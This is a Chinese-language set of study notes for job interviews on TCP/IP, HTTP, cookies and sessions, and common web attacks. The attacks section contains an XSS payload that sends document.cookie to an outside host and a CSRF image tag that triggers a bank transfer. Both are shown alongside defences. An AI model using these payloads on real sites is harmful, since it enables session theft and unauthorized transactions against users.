Fork me on GitHub

计算机网络——秋招复习笔记

计算机网络

[TOC]

TCP

三次握手?四次挥手?

三次握手

1564631382230

  • 请求先由客户端发起。客户端发送SYN = 1和客户端序号c给服务端,同时进入SYN-SENT状态
  • 服务端收到SYN后需要做出确认,于是发送ACK = 1,同时自己也发送SYN = 1、服务端序号s,还有确认号c + 1,表示想收到的下一个序号。此时服务端进入SYN-RCVD状态
  • 客户端收到服务端的SYN和ACK,做出确认,发送ACK = 1,以及序号c +1,同时发送确认号s + 1,表示客户端想收到下一个序号。此时客户端和服务端进入ESTABLISHED状态,连接已建立!

四次挥手

1564631391433

  • 关闭连接也是先有客户端发起。客户端发送FIN = 1和序号c向服务端请求断开连接。此时客户端进入FIN-WAIT-1状态
  • 服务端收到FIN后做出确认,发送ACK = 1和服务端序号,还有确认号c + 1表示想要收到的下一个序号。服务端此时还可以向客户端发送数据。此时服务端进入CLOSE-WAIT状态,客户端进入FIN-WAIT-2状态
  • 服务端没有数据发送时,它向客户端发送FIN= 1、ACK = 1请求断开连接,同时发送服务端序号s以及确认号c + 1。此时服务端进入LAST-ACK状态
  • 客户端收到后进行确认,发送ACK = 1,以及需要c + 1和确认号s + 1。此时客户端进入TIME-WAIT状态。客户端需要等待2MSL,确保服务端收到了ACK,若这期间客户端没有收到服务端的消息,便可认为服务端收到了确认,此时可以断开连接。客户端和服务端进入CLOSED状态。

(回复报文都是ACK=1)

其他问题

TCP为什么需要三次握手?两次不行吗?

一方面,三次握手是为了确认双方发送接受的能力,如果没有第三次握手,服务器就不知自己发送消息的能力。

另一方面,客户端只发一次请求的话,是服务器分不清是一个失效的慢抵达请求还是一个新请求。这种情况就是客户端发出了两次连接请求,但由于某种原因,使得第一次请求被滞留了。第二次请求先到达后建立连接成功,此后第一次请求终于到达,这是一个失效的请求了,服务端以为这是一个新的请求于是同意建立连接,但是此时客户端不搭理服务端,服务端一直处于等待状态,这样就浪费了资源。假设采用三次握手,由于服务端还需要等待客户端的确认,若客户端没有确认,服务端就可以认为客户端没有想要建立连接的意思,于是这次连接不会生效。

四次挥手,为什么客户端发送确认后还需要等待2MSL?

1.避免最后一个确认报文丢失的情况

2.为了避免和下一次连接混淆

因为第四次挥手客户端发送ACK确有可能丢包。服务端没有收到,服务端就会再次发送FIN = 1,如果客户端不等待立即CLOSED,客户端就不能对服务端的FIN = 1进行确认。等待的目的就是为了能在服务端再次发送FIN = 1时候能进行确认。如果在时间等待计时器设置的世界2MSL内客户端都没有收到服务端的任何消息,便认为服务端收到了确认。此时可以结束TCP连接。

MSL(Maximum Segment Lifetime),最长报文段寿命。建议时间为2分钟,可根据具体情况设置的更小一点。

为什么会出现大量的close-wait?

在被动关闭连接情况下,在已经接收到FIN,但是还没有发送自己的FIN的时刻,连接处于CLOSE_WAIT状态。

出现大量close_wait的现象,主要原因是某种情况下对方关闭了socket链接,但是我方忙与读或者写,没有关闭连接。代码需要判断socket,一旦读到0,断开连接,read返回负,检查一下errno,如果不是AGAIN,就断开连接。

SYN Floold攻击 (SYN洪水攻击)?

在第二次握手之后,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目存放等待第三次握手的连接。当服务器收到客户的确认包时,则可建立连接删除该条目。
SYN攻击属于DOS攻击(拒绝服务攻击),恶意不断地向服务器发送syn包,这些伪造的SYN包将长时间占用未连接队列,服务器还需要不断的重发直至超时正常的SYN请求被丢弃,耗费CPU和内存资源。

一般来说,如果一个系统(或主机)负荷突然升高甚至失去响应,使用Netstat 命令能看到大量SYN_RCVD的半连接(数量>500或占总连接数的10%以上),可以认定,这个系统(或主机)遭到了SYN Flood攻击。

有以下两种比较简单的解决办法:

  • 第一种是缩短SYN Timeout时间,例如设置为20秒以下。
  • 第二种方法是设置SYN Cookie,给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被一概丢弃。

而缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效,SYN Cookie更依赖于对方使用真实的IP地址,如果攻击者配合IP欺骗,比如利用SOCK_RAW随机改写IP报文中的源地址,cookie就毫无用武之地。

如果是Win2000系统,可以通过修改注册表中SYN攻击时采取保护措施的指数,降低SYN Flood的危害。

client故障了怎么办?

TCP会设置一个保活计时器,每次收到客户端数据,都重新设置保活计时器,时间通常是两小时,若两小时没有收到客户数据,服务器就发送一个探测报文段,以后则每隔75秒钟发送一次,若一连发送了10个探测报文段后仍无客户的响应,服务器就认为客户端出了故障,接着关闭这个连接。

TCP和UDP的区别?

1564631382230

简单总结一下:

tcp 字节流 首部20-60字节

  • 可靠传输 分组确认号、超时重传 +滑动窗口=连续AQS自动重传请求

  • 面向连接 三握四挥

  • 流控制 1.滑动窗口:以字节为单位,零窗口有持续计时器

    ​ 2.拥塞控制 慢开始 快重传 快恢复(门限值/2) 加法增长乘法减少

场景:文件传输、邮件

udp 数据报文段 首部8字节

不可靠 省资源

场景:即时通信

可靠传输?流量控制?拥塞控制?

可靠传输是指

  • 传输的信道不产生差错(出错重发)
  • 接受方来得及处理接受到的数据(快了慢点)

TCP如何实现可靠传输:

  • 超时重传,TCP发出一个分组后,它启动一个定时器,等接收方确认收到这个分组。如果发送方不能及时收到一个确认,将重传给接收方。序号,用于检测丢失的分组和冗余的分组。确认,告知对方已经正确收到的分组以及期望的下一个分组 校验和,校验数据在传输过程中是否发生改变,如校验有错则丢弃分组;
  • 滑动窗口/流量控制,进行流量控制,1.只有当最前一个发送的包的确认收到了(对于接收方来说是按序收到的数据中最高的序号),窗口才能像前移动。比如“确认号是31,表示31之前的都收到了,滑动窗口是20,接受窗口就是31~50,31是期望的序号,其实34、35也收到但不是按序到达。” 2.发送窗口的大小由对方的接收窗口和拥塞窗口的的大小决定(取两者中小的那个),当接收方来不及处理发送方的数据,能提示发送方降低发送的速率,防止包丢失。

流量控制:用滑动窗口进行流量控制,针对发送双方的一方处理不过来的情况。

拥塞控制:防止过多的数据注入到网络当中,针对网络中的所有计算机。

  • 慢开始:先探测一下网络的拥塞程度,由小到大逐渐增加拥塞窗口的大小。指数增长,乘法减少
  • 拥塞避免:转指数增大变为加法线性增大。这样就可以避免增长过快导致网路拥塞,慢慢的增加调整到网络的最佳值。
  • 快重传:发送方只要一连收到三个重复确认就应当立即重传对方尚未收到的报文段,而不必继续等待设置的重传计时器时间到期。接受方发现M3丢失不会什么什么都不做,即便在接受到M4、M5之后也会一直发送M2的确认,当发送方收到了第四个M2的确认就会重传M3.
  • 快恢复:快重传的后续处理。收到三个重复确认时,就“乘法减小”,把拥塞窗口减半,但是接下去并不执行慢开始算法(从零开始慢慢试探);考虑到此时能连续收到3个ACK,说明网络没有拥塞,只是丢失了个别报文段,执行加法原则,有几个ACK就加几个段的字节数。

参考:网络基本功:TCP拥塞控制机制

网络协议

网络的7层模型了解吗?

1564631406937

即OSI参考模型。

  1. 应用 http、ftp、web、qq
  2. 表示 编码、压缩、加密解密
  3. 会话 发起会话
  4. 传输 tcp udp
  5. 网络 路由选择
  6. 数据链路 mac的封装和解封
  7. 物理 比特 物理设备标准光纤接口、网线接口

还有一种TCP/IP五层模型,就是把应用层、表示层、会话层统一归到应用层。借用一张图。

有了传输层为什么还需要网络层?

网络层是针对主机与主机之间的服务。而传输层针对的是不同主机进程之间的通信。传输层协议将应用进程的消息传送到网络层,但是它并不涉及消息是怎么在网络层之间传送(这部分是由网络层的路由选择完成的)。网络层真正负责将数据包从源IP地址转发到目标IP地址,而传输层负责将数据包再递交给主机中对应端口的进程。

打个比方。房子A中的人要向房子B中的人写信。房子中都有专门负责将主人写好的信投递到邮箱,以及从邮箱接收信件后交到主人手中的管家。那么:

房子 = 主机

信的内容 = 应用程序消息

信封 = 数据包,带有源端口、目的端口、源IP地址、目的IP地址。

邮递员 = 网络层协议,知道信从哪个房子开始发的,以及最后要送到哪个具体的房子。

管家 = 传输层协议,负责将信投入到信箱中、以及从信箱中接收信件。知道这封信是谁写的以及要送到谁手上(具体端口号)

主机A向主机B发送数据,在这个过程中,传输层和网络层做了什么?

当TCP连接建立之后,应用程序就可使用该连接进行数据收发。应用程序将数据提交给TCP,TCP将数据放入自己的缓存,数据会被当做字节流并进行分段,然后加上TCP头部并提交给网络层。再加上IP头后被网络层提交给到目的主机,目的主机的IP层会将分组提交给TCP,TCP根据报文段的头部信息找到相应的socket,并将报文段提交给该socket,socket是和应用关联的,于是数据就提交给了应用。

对于UDP会简单些,UDP面向报文段。传输层加上UDP头部递交给网络层,再加上IP头部经路由转发到目的主机,目的主机将分组提交给UDP,UDP根据头部信息找到相应的socket,并将报文段提交给该socket,socket是和应用关联的,于是数据就提交给了应用。

HTTP

浏览器发起HTTP请求后发生了什么?

  • 当在浏览器输入网址www.baidu.com并敲下回车后:
  • DNS域名解析,将域名www.baidu.com解析成IP地址
  • 发起TCP三次握手,建立TCP连接。浏览器以一个随机端口(1024~65535)向服务器的80端口发起TCP连接。
  • 在TCP连接上发起HTTP请求。
  • 服务端响应HTTP请求,将html代码返回给浏览器。
  • 浏览器解析html代码,请求html中的资源
  • 浏览器对页面进行渲染呈现给用户

DNS域名解析的请求过程?

  • 先在浏览器自身的DNS缓存中搜索
  • 如上述步骤未找到,浏览器搜索操作系统本身的DNS缓存
  • 如果在系统DNS缓存中未找到,则尝试读取hosts文件,寻找有没有该域名对应的IP
  • 果hosts文件中没找到,浏览器会向本地配置的首选DNS服务器发起域名解析请求 。运营商的DNS服务器首先查找自身的缓存,若找到对应的条目且没有过期,则解析成功。如果没有找到,运营商的DNS代我们的浏览器,以根域名->顶级域名->二级域名->三级域名这样的顺序发起迭代DNS解析请求。

请求和响应的报文结构(格式)?

HTTP请求的报文格式:

1564631437001

HTTP响应的报文格式:

1564631450295

GET与POST的对比,或者说区别?

GET POST
后退按钮/刷新 无害 数据会被重新提交(浏览器应该告知用户数据会被重新提交)。
书签 可收藏为书签 不可收藏为书签
编码类型 application/x-www-form-urlencoded application/x-www-form-urlencoded or multipart/form-data。为二进制数据使用多重编码。
历史 参数保留在浏览器历史中。 参数不会保存在浏览器历史中。
对数据长度的限制 是的。当发送数据时,GET 方法向 URL 添加数据;URL 的长度是受限制的(URL 的最大长度是 2048 个字符)。 无限制。
对数据类型的限制 只允许 ASCII 字符。 没有限制。也允许二进制数据。
安全性 与 POST 相比,GET 的安全性较差,因为所发送的数据是 URL 的一部分。 在发送密码或其他敏感信息时绝不要使用 GET ! POST 比 GET 更安全,因为参数不会被保存在浏览器历史或 web 服务器日志中。
可见性 数据在 URL 中对所有人都是可见的。 数据不会显示在 URL 中。
  1. 幂等性
  2. 安全:显示在URL中/历史记录/书签
  3. 数据长度
  4. 二进制

常见的状态码?

  • 1XX:信息性状态码,表示接收的请求正在处理
  • 2XX:成功状态码,表示请求正常处理完毕
  • 3XX:重定向状态码,表示需要进行附加操作以完成请求
  • 4XX:客户端错误状态码,表示服务器无法处理请求
  • 5XX:服务端错误状态码,表示服务器处理请求出错

常见的状态码有:

  • 200 OK,请求被正常处理
  • 301 Move Permanently,永久性重定向
  • 302 Found,临时性重定向
  • 400 Bad Request,请求报文中存在语法错误
  • 403 Forbidden,对请求资源的访问被服务器拒绝
  • 404 Not Found,在服务器上不能找到请求的资源
  • 500 Internal Server Error,服务器内部错误

HTTP 1.0和HTTP 1.1的主要区别是什么?

HTTP1.0最早在网页中使用是在1996年,那个时候只是使用一些较为简单的网页上和网络请求上,而HTTP1.1则在1999年才开始广泛应用于现在的各大浏览器网络请求中,同时HTTP1.1也是当前使用最为广泛的HTTP协议。 主要区别主要体现在:

长连接 :详见下一个问题。

缓存处理 :在HTTP1.0中主要使用header里的If-Modified-Since,Expires来做为缓存判断的标准,HTTP1.1则引入了更多的缓存控制策略例如Entity tag,If-Unmodified-Since, If-Match, If-None-Match等更多可供选择的缓存头来控制缓存策略。

If-Modified-Since:Thu Apr 2016 00:00:00.意思如果在这个时间点之后有更新,则处理请求,否则,返回304not Modified状态码

Expires这份缓存你可以用到什么时候

1.0If-Unmodified-Since/If-Match/ If-None-Match——>如果在这个时间点之后有更新,则处理请求/如果有与请求头请求的资源,就处理请求/请求头:put /sample.html if-None-match——”服务器没有Sample.html,所有可以处理你的请求”

节约带宽资源:HTTP1.0中,存在一些浪费带宽的现象,例如客户端只是需要某个对象的一部分,而服务器却将整个对象送过来了,并且不支持断点续传功能,HTTP1.1则在请求头引入了range头域,它允许只请求资源的某个部分,即返回码是206(Partial Content),这样就方便了开发者自由的选择以便于充分利用带宽和连接。

Range, 允许只请求资源的某个部分. If-Range另外如果资源与请求字段的ETag相同,则返回一定范围的资源,否则返回全部。如果用If- Match,请求不符合,客户端还会再发送一个请求,多了两倍的功夫。

错误状态响应码 :在HTTP1.1中新增了24个错误状态响应码,如409(Conflict)表示请求的资源与资源的当前状态发生冲突;410(Gone)表示服务器上的某个资源被永久性的删除。

Http长连接是什么?

HTTP/1.0默认短连接,每次请求都要重新建立一次连接。HTTP 是基于TCP/IP协议的,每一次建立或者断开连接都需要三次握手四次挥手的开销,开销会比较大。

HTTP 1.1默认使用长连接 ,默认开启Connection: keep-alive。 一个tcp连接允许的是6个并发HTTP连接。

参数:Keep-Alive: timeout=60最大等待时间,如果配置为0,则表示关掉keepalive,

场景:在客户端需要多次访问同一个server时,比如图片服务器,打开长连接可以大量减少time-wait的数量。

HTTP/1.1的持续连接有非流水线方式和流水线方式 。流水线已经被更好的算法给代替,如 multiplexing,已经用在 HTTP/2。。

HTTP2 信道复用,在 TCP 连接上可以并发的发送 HTTP 请求,意味着链接网站是只需要一个 TCP 连接。http://google.com的页面都是用的 HTTP2。http连接的connection id 都是一个,注意,同域 id 才相同,不同域需要创建 tcp 连接,这样降低了开销,速度有质的提升。谷歌使用的是2.0

HTTP和 HTTPS的区别?

端口 :HTTP的URL由“http://”起始且默认使用端口80,而HTTPS的URL由“https://”起始且默认使用端口443。

安全性HTTP协议运行在TCP之上,弊端:1.所有传输的内容都是明文。2.客户端和服务器端都无法验证对方的身份。3.无法保证资源是否被篡改

HTTPS是运行在SSL/TLS之上的HTTP协议,SSL/TLS 运行在TCP之上。采用混合加密+数字证书认证机构+MAC的报文摘要。HTTPS采用混合加密机制,加密采用对称加密,但对称加密的密钥用服务器方的证书进行了非对称加密。

资源消耗:加密通信会耗费更多服务器资源,速度也会变慢。在包含个人信息等敏感数据时

HTTPS的流程?

HTTP有哪些请求方法?它们的作用或者说应用场景?

GET: 请求指定的页面信息,并返回实体主体。

HEAD: 和GET类似,只不过不返回报文主体,只返回响应首部。可用于确认URI的有效性及资源更新的日期时间;

POST: 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。

PUT: 用来传输文件,要求请求报文的主体中包含文件内容,然后保存到请求URI指定的位置。

DELETE: 和PUT相反,按请求URI删除指定的资源。

OPTIONS: 用来查询针对请求URI指定的资源支持的方法。如果请求成功,会有一个Allow的头包含类似“GET,POST”这样的信息

TRACE: 让服务端将之前的请求通信返回给客户端的方法(因此客户端可以得知请求是怎么一步步到服务端的)。主要用于测试或诊断。

CONNECT: 使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。

请求转发与重定向区别

转发是服务器行为,重定向是客户端行为。

请求转发

  • 转发过程:浏览器发送http请求——》服务器接受此请求——》调用内部的一个方法在容器内部完成请求处理和转发动作——》将目标资源发送给浏览器;
  • 必须是同一个web容器下的url,中间传递的是自己的容器内的request。
  • 浏览器路径栏:显示第一次访问的路径,客户是感觉不到服务器做了转发的。转
  • 传输的信息不会丢失。

重定向

  • 重定向过程:客户浏览器发送http请求——》web服务器接受后发送302状态码响应及对应新的location给客户浏览器——》客户浏览器发现是302响应,则自动再发送一个新的http请求,请求url是新的location地址——》服务器根据此请求寻找资源并发送给客户。
  • 可以重定向到任意URL,既然是浏览器重新发出了请求,则就没有什么request传递的概念了。
  • 浏览器路径栏:显示的是其重定向的路径,客户可以观察到地址的变化的。
  • 重定向,其实是至少两次request

HTTP中的重定向和请求转发的区别

SESSION

cookie和session区别和联系?

  1. 保存地方。Session是在服务端保存的一个数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件中;Cookie是客户端保存用户信息的一种机制,用来记录用户的一些信息,也是实现Session的一种方式。
  2. 实现原理。session的运行依赖session id,而session id是存在cookie中的,也就是说,如果浏览器禁用了cookie ,同时session也会失效(但是可以通过url重写,即在url中传递session_id)
  3. 大小。cookie最多为 300个 , 并且每个不能超过 4KB,每个 Web 站点能设置的 Cookie 总数不能超过 20个。session当访问增多,会比较占用你服务器的性能。
  4. 安全。cookie不安全,可以通过XSS跨域攻击窃取

总的来说,cookie是钥匙,session是盒子。

session的原理?

Session会话指的是从用户打开浏览器访问一个网站开始,无论在这个网站中访问了多少页面,点击了多少链接,都属于同一个会话。 直到该用户关闭浏览器为止,都属于同一个会话。比如网上购物,每个用户有自己的购物车,当点击下单时,由于HTTP协议无状态,并不知道是哪个用户操作的,所以服务端要为特定的用户创建特定的Session,用于标识这个用户,并且跟踪用户。

Session原理:浏览器第一次访问服务器时,服务器会响应一个cookie给浏览器。这个cookie记录的就是sessionId,之后每次访问携带着这个sessionId,服务器里查询该sessionId,便可以识别并跟踪特定的用户了。

Cookie原理:第一次访问服务器,服务器响应时,要求浏览器记住一个信息。之后浏览器每次访问服务器时候,携带第一次记住的信息访问。相当于服务器识别客户端的一个通行证。

Cookie不可跨域,浏览览器判断一个网站是否能操作另一个网站Cookie的依据是域名。Google与Baidu的域名不一样,因此Google不能操作Baidu的Cookie,换句话说Google只能操作Google的Cookie。

网络攻击

一、跨站脚本攻击(document.cookie)

1
<script>location.href="//domain.com/?c=" + document.cookie</script>

之后该内容可能会被渲染成以下形式:

1
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。

防范手段

设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用,就无法通过 document.cookie 获取用户 Cookie 信息。

2. 过滤特殊字符

例如将 < 转义&lt;,将 > 转义为 &gt;,从而避免 HTML 和 Jascript 代码的运行。

富文本编辑器允许用户输入 HTML 代码,通常采用 XSS filter 来防范 XSS 攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的 HTML 代码的输入。比如form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。

二、跨站请求伪造(登录信息尚未过期)

攻击原理

假如一家银行用以执行转账操作的 URL 地址如下:

1
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。

那么,一个恶意攻击者可以在另一个网站上放置如下代码:

1
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。

如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 美元。(两个刚好,刚好有账户名为李华的人,刚好登陆信息没有过期)

由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。如发邮件,发消息,甚至财产操作如转账和购买商品。他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。

通过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。

XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。

防范手段

1. 标识请求来源的地址

Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源的地址在同一个域名下,可以极大的防止 CSRF 攻击。但存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。

2. 添加校验 Token,生成随机数

在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。

3. 输入验证码

因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作。

三、SQL 注入攻击

1. 使用参数化查询

Java 中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。

1
2
3
4
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

四、拒绝服务攻击

拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。

分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。